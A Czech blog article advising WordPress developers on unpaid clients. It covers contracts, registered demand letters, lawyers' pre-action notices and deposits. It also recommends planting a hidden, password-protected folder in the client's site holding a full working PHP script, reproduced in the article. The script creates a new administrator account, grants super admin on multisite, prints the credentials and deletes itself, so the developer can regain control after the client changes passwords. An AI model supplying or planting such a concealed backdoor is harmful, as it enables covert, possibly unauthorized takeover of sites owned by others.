Co dělat, když klient nezaplatí vytvoření webu na WordPressu?

Živíte se vytvářením webů na platformě WordPress a řešíte situaci, kdy Vám klient odvedenou práci nezaplatil? A navíc, jak se velmi často stává, změnil heslo do administrace, takže jste zároveň ztratili přístup ke své práci? To je nemilá situace, která pokud není ošetřena kvalitní smlouvou, má velmi nelehké řešení. V tomto článku bych se chtěl zaměřit na to, co dělat, když klient nezaplatí vytvoření webu na WordPressu a také, co nedělat. Zároveň se podíváme na to, jak si hned na začátku můžete vytvořit pojistku pro případ, kdy Váš klient změní heslo do administrace, abyste se ke své práci nemohli dostat. Pojďme na to.

Co dělat, když klient nezaplatí vytvoření webu na WordPressu?

V první řadě hraje důležitou roli smlouva. Ta by měla být alfa a omega Vašeho podnikání. Ano, česká jurisdikce zná i pojem ústní smlouva, ale co je na papíře, to je jasně dané. Rozhodně se tedy vyhněte smlouvě o dílu formou e-mailové komunikace, nebo ústní dohody. Minimálně ústní dohodu budete velmi složitě dokazovat. Co se týče smlouvy samotné, nešetřete a na zhotovení si najměte právníka. Jde o jedno zhotovení jedné smlouvy, kterou potom budete používat jako vzor pro všechny ostatní klienty. Vstupní poplatek tedy může být určitě vyšší, nicméně pokud takovou smlouvu rozpočítáte mezi 20 nebo více zákazníků, bude její cena v tomto kontextu mizivá.

Rozhodně se vyvarujte smlouvy stáhnuté z internetu nebo smlouvy, kterou si necháte napsat dnes hojně užívanou umělou inteligencí. To je smlouva, která Vám nikdy negarantuje, že se v ní nenajdou právní kličky. Navíc, za takovou smlouvu není její autor nijak zodpovědný a veškeré důsledky chyb si ve výsledku ponesete Vy. Čili pravidlo číslo jedna, které byste měli vždy zvážit, pokud chcete weby dělat jako živnost je, kvalitní a “neprůstřelná” smlouva. Bude Vám ve výsledku sloužit jako skvělá páka na případné soudní vymáhání částky. Tedy za předpokladu, že bude soud relevantní řešení k výši částky, kterou Vám bude klient dlužit. Protože ruku na srdce, kvůli 3000 Kč za odvirování webu se patrně soudit nebudete.

Klient nezaplatil, co bych raději dělat neměl

Unpaid for Website Work

Problém je na světě, klient za provedenou práci nezaplatil a Vy stojíte před otázkou, co máte dělat. Pojďme nejprve k opaku, co byste dělat neměli. Patrně první, co Vás napadne je shodit web, nebo na stránky napsat, že majitel webu je zloděj či dlužník. Oběma možnostem se vyvarujte. Zachovejte chladnou hlavu, i když se to zprvu zdá jako dobrý nápad, kterým někoho donutíte splatit pohledávku. Je tomu totiž přesně naopak.

Pokud vytvořený web, na kterém už stránky fungují shodíte, nebo navíc na doméně vyvěsíte informaci, že Vám majitel dluží peníze, můžete se dostat naopak do pořádného maléru Vy. Ano vím, zní to nelogicky. Nicméně, pokud jednu z výše uvedených věcí uděláte, můžete se k soudu dostat Vy. V prvním případě za to, že jste majiteli webu způsobili peněžní ztrátu nefunkčním webem, v druhém případě za to, že jste poškodili jeho dobré jméno. Ano, pořád to zní nelogicky. Ti, co mají dobré jméno přeci své dluhy platí. Jenže takhle se na to zákon nekouká.

Během chvilky byste se tak mohli ocitnout na zcela opačné straně barikády a mohli byste to být Vy, kdo bude v pozici obžalovaného. Čili i když máte opravdu velkou chuť takovou věc udělat, rozhodně Vám ji nedoporučuji. Můžete mít z toho nakonec solidní problémy.

Co bych tedy měl udělat?

První věc, kterou byste měli udělat je nějaké oficiální vyzvání dlužníka k uhrazení. Tím nemyslím telefonem, SMSkou, nebo e-mailem. Klasickou, konzervativní cestou dopisem. Doporučeným! V něm vyzvete dotčeného k úhradě veškerého dluhu. Pokud má datovou schránku, můžete využít i datovou schránku. Tu by měl mít dnes již každý, kdo podniká.

Pokud doporučený dopis nezabere a Vy se můžete opřít o kvalitní smlouvu, opět můžete využít právní pomoci. Navštivte právníka a napište spolu tzv. předžalobní výzvu. Cena takové výzvy je od 1000 Kč do 1500 Kč. V předžalobní výzvě upozorní Vašeho klienta na nutnost splatit dluh již právní kancelář, se všemi náležitostmi a razítkem. Váš klient uvidí, že to myslíte Vážně a může dojít na soud. Mnoho lidí se takového kroku zalekne a domluví si s Vámi minimálně splátkový kalendář, nebo rovnou raději částku uhradí celou. Je to čistá a bezpečná forma toho, co můžete v první chvíli s klientem dělat.

Jak se vlastně mohu vyvarovat toho, že mi někdo nezaplatí a hotový web mi sebere?

Co dělat, když klient nezaplatí vytvoření webu na WordPressu?

Jsou dvě varianty. První variantou je záloha na práci. Ještě předtím, než práci začnete, si vyžádejte od klienta vratnou zálohu. Kupříkladu 50 % podle nějakých předem dohodnutých podmínek. Jak bude práce postupovat, můžete se smluvně domluvit na dalších částkách v průběhu dokončování práce na webu. Je to celkem běžná praxe, díky které se můžete vyvarovat mnoha problémům.

Varianta druhá, kterou můžete také smluvně ošetřit je u webhostingu. Objednejte web na své jméno, abyste byli Vy majitelé webu. Zároveň díky tomu budete také majitelé dat, které na takovém webu jsou. To ošetříte i ve smlouvě. Po celou dobu vytváření webu tedy budete vlastníkem dat pouze Vy. Majiteli patří doména, Vám patří web a data na něm. Ve smlouvě můžete ošetřit, že webhosting převedete na majitele domény v momentě, kdy za Vaši práci obdržíte celou částku v plné výši. Tím předáte vlastnictví webu jemu a on se stane právoplatným majitelem. Soudně bude těžko obhajitelné z jeho strany, že jste vypnuli něco, co je Vaším majetkem. Máte na to plné právo, protože to patří Vám. Majitel může kdykoliv přesměrovat doménu na jiný server během několika málo minut.

Pokud se rozhodnete pro druhou variantu, nikdy do plného uhrazení dlužné částky nepředávejte hesla k FTP ani MySQL. Vyhnete se tak mnoha problémům, kdy bude chtít klient různými způsoby škodit.

Co dělat, když klient nezaplatí vytvoření webu na WordPressu a navíc změnil heslo do administrace?

Co dělat, když klient nezaplatí vytvoření webu na WordPressu?

Nemilá skutečnost, ale můžete se proti ní bránit. Jen je nutné s takovou variantou počítat dopředu a připravit se na ní. Jak? Vytvoříte si pojistku. Pojďme se na takovou pojistku podívat nejprve bodově a pokusme se jí udělat i optimálně bezpečnou.

  • Na FTP si vytvořte v adresářové struktuře tajnou složku (např. wp-content/secure/). Kam složku umístíte a jak ji pojmenujete je na Vás. Je dobré, aby nebyla nápadná.
  • Tuto složku zabezpečte heslem pomocí souboru .htaccess a .htpasswd. Do složky by se přes prohlížet neměl dostat nikdo, kdo nezná heslo.
  • Do složky nahrajte skript, jehož kód Vám ukáži níže a skript si libovolně pojmenujte. Tento skript, pokud ho zavoláte přes prohlížeč vytvoří nového uživatele s právy administrátora a poté se zároveň sám z FTP smaže.

Co tedy taková pojistka dokáže? Na FTP budete mít tajnou složku, která bude dostupná pouze po zadání hesla. V ní budete mít skript, který Vám vytvoří administrátorského uživatele ve WordPressu. Skript se poté sám smaže a před tím Vám vypíše login i heslo. Díky tomu získáte opět přístup do administrace, kde už můžete zablokovat původního uživatele a převzít kontrolu nad webem zpět. Pokud se tedy stane situace, že klient nejen nezaplatí, ale změní také heslo do administrace, pouze přes prohlížeč zavoláte skript domena.tld/wp-content/secure/secure.php. Následně zadáte heslo a skript se spustí.Poté udělá vše, co jsem napsal výše.

Je to zcela legitimní a nedestruktivní pojistka, která nic neničí, ale umožní Vám opětovný přístup do administrace. Geniální že? Navíc díky ochraně heslem se k ní dostanete pouze Vy a skript spustíte prakticky odkudkoliv.

Skript pro vytvoření nového administrátora ve WordPressu

				
					<?php

// ADD NEW ADMIN USER TO WORDPRESS
// ----------------------------------
// Put this file in your WordPress root directory and run it from your browser.
// Delete it when you're done.
require_once('wp-blog-header.php');
require_once('wp-includes/registration.php');

function generateStrongPassword($length = 15, $add_dashes = false, $available_sets = 'luds') {

    $sets = array();

    if(strpos($available_sets, 'l') !== false)
        $sets[] = 'abcdefghjkmnpqrstuvwxyz';
    if(strpos($available_sets, 'u') !== false)
        $sets[] = 'ABCDEFGHJKMNPQRSTUVWXYZ';
    if(strpos($available_sets, 'd') !== false)
        $sets[] = '23456789';
    if(strpos($available_sets, 's') !== false)
        $sets[] = '!@#$%&*?';

    $all = '';
    $password = '';
    foreach($sets as $set) {
        $password .= $set[tweak_array_rand(str_split($set))];
        $all .= $set;
    }

    $all = str_split($all);
    for($i = 0; $i < $length - count($sets); $i++)
        $password .= $all[tweak_array_rand($all)];

    $password = str_shuffle($password);

    if(!$add_dashes)
        return $password;

    $dash_len = floor(sqrt($length));
    $dash_str = '';

    while(strlen($password) > $dash_len) {
        $dash_str .= substr($password, 0, $dash_len) . '-';
        $password = substr($password, $dash_len);
    }

    $dash_str .= $password;

    return $dash_str;
}

$form = "<form action='' method='POST' style='margin: 20px 0 10px 0;'><button type='submit' name='removefile'>Smazat soubor</button></form>";

// Take a array and get random index, same function of array_rand, only diference is
// intent use secure random algoritn on fail use mersene twistter, and on fail use default array_rand
function tweak_array_rand($array){
    if (function_exists('random_int')) {
        return random_int(0, count($array) - 1);
    } elseif(function_exists('mt_rand')) {
        return mt_rand(0, count($array) - 1);
    } else {
        return array_rand($array);
    }
}

echo "<div class='wpuser'>";

// ----------------------------------------------------
// CONFIG VARIABLES
// Make sure that you set these before running the file.
$newusername = 'wpuser';
$newpassword = generateStrongPassword(24);
$newemail = 'adresa@domena.koncovka';
// ----------------------------------------------------
// This is just a security precaution, to make sure the above "Config Variables"
// have been changed from their default values.
if ( $newpassword != 'YOURPASSWORD' && $newemail != 'YOUREMAIL@TEST.com' && $newusername !='YOURUSERNAME' ) {
    // Check that user doesn't already exist
    if ( !username_exists($newusername) && !email_exists($newemail) )
    {
        // Create user and set role to administrator
        $user_id = wp_create_user( $newusername, $newpassword, $newemail);
        if ( is_int($user_id) )
        {
            $wp_user_object = new WP_User($user_id);
            $wp_user_object->set_role('administrator');

            if(is_multisite()) {
                grant_super_admin($user_id);
                $sites = get_sites();

                $user_info = [
                    "capabilities" => get_user_meta($user_id, "wp_capabilities", true),
                    "user_level" => get_user_meta($user_id, "wp_user_level", true)
                ];

                foreach($sites as $site) {
                    update_user_meta($user_id, "wp_" . $site->blog_id . "_capabilities", $user_info['capabilities']);
                    update_user_meta($user_id, "wp_" . $site->blog_id . "_user_level", $user_info['user_level']);
                }
            }

            echo '<p style="color: #428b42">Účet wpuser byl úspěšně vytvořen.</p><br>';
            echo "Uživatelské jméno<br><span class='user-select-all'>" . $newusername . "</span><br>E-mailová adresa<span class='user-select-all'>" . $newemail . "</span><br>";
            echo "Heslo<strong class='user-select-all'>" . $newpassword . "</strong>";
            echo "<span style='font-weight:bold;color:#FF0000;margin-top:20px;'>Aktuální soubor byl smazán.</span>";
            unlink(__FILE__);
        }
        else {
            echo 'Během vytváření uživatele wpuser došlo k chybě.';
            echo $form;
        }

    } else {
        echo 'Administrátorský účet wpuser již existuje!';
        echo $form;
    }
}
else {
    echo 'Vypadá to, že nebylo vyplněno heslo, uživatelské jméno nebo e-mail. Zkuste to znovu.';
    echo $form;
}

if(isset($_POST['removefile'])) {
    unlink(__FILE__);
    echo "<span style='font-weight:bold;color:#FF0000'>Aktuální soubor byl smazán.</span>";
}

echo "</div>";
				
			

Závěr

Toliko k obecným radám k tématu, co dělat, když klient nezaplatí vytvoření webu na WordPressu. Popsal jsem Vám, jaké máte možnosti a co můžete udělat dopředu, ještě než vůbec začnete na webu pracovat. Pokud se dostanete do problémů, může Vás zachránit pojistka. Doufám, že se Vám taková situace obloukem vyhne, nicméně, kdo je připraven, nebývá překvapen. Situace s dlužníky je dnes velmi obtížná a je dobré vědět, co máte dělat a čemu byste se měli raději vyhýbat.

Co dělat, když klient nezaplatí vytvoření webu na WordPressu? FAQ

  • Nezapomeňte na smlouvu. Smlouva je alfa a omega Vašeho podnikání. Ujistěte se, že je kvalitní a obsahuje všechny důležité body, jako je rozsah prací, termíny plnění, cena a způsob platby.
  • Pokud klient nezaplatí, pošlete mu doporučený dopis s výzvou k uhrazení dluhu. Pokud dopis nezabere, můžete podat předžalobní výzvu.
  • V případě, že klient stále nehodlá splatit dluh, můžete se obrátit na soud.

Nevypínejte web a rozhodně na něj nepište, že klient je dlužník. To byste se mohli dostat do problémů Vy.

  • Požadujte zálohu. Záloha by měla být alespoň 50 % z celkové ceny.
  • Objednejte webhosting na své jméno. Tím budete vlastníkem webu a budete mít přístup k administraci.
  • Nikdy nepředávejte hesla k FTP a MySQL před plným uhrazením částky za odvedenou práci.

Vytvořte si pojistku hned na začátku tvorby webu. Na FTP si vytvořte tajnou složku, do které nahrajte skript, který Vám vytvoří nového administrátorského uživatele. Pokud klient změní heslo, spusťte skript z tajné složky. Skript vytvoří nového admina a Vy budete mít opět přístup do rozhraní webu.

  • Před započetím prací na webu si vždy připravte kvalitní smlouvu.
  • Pokud se klient nezaplatí, postupujte podle výše uvedených kroků.
  • Připravte si pojistku, která Vám pomůže získat přístup do administrace, pokud klient změní heslo

Web je vytvářen s pečlivostí k obsaženým informacím. Snažím se poskytovat kvalitní a užitečný obsah, který ostatním pomáhá, nebo je inspiruje. Pokud jste spokojeni s mou prací a chtěli byste mě podpořit, můžete to udělat prostřednictvím jednoduchých možností.

Byl pro Vás tento článek užitečný?

Klikni na počet hvězd pro hlasování.

Průměrné hodnocení. 0 / 5. Počet hlasování: 0

Zatím nehodnoceno! Buďte první

Jak užitečný vidíte tento článek.

Sledujte mě na sociálních médiích.

Je mi líto, že pro Vás nebyl článek užitečný.

Jak mohu vylepšit článek?

Řekněte mi, jak jej mohu zlepšit.

newsletter

Odebírejte Newsletter

Buďte v obraze! Připojte se k odběru newsletteru a buďte první, kdo získá nejnovější informace přímo do vaší e-mailové schránky. Sledujte aktuality, exkluzivní události a inspirativní obsah, přímo na Vašem e-mailu.  

Odebírat
Upozornit na
guest
0 Komentáře/ů
Nejstarší
Nejnovější Nejvíce hlasováno
Vložené zpětné vazby.
Zobrazit všechny komentáře.

Pokud mi chcete napsat rychlou zprávu, využije, prosím, níže uvedený
kontaktní formulář. Děkuji.

Další Kontaktní údaje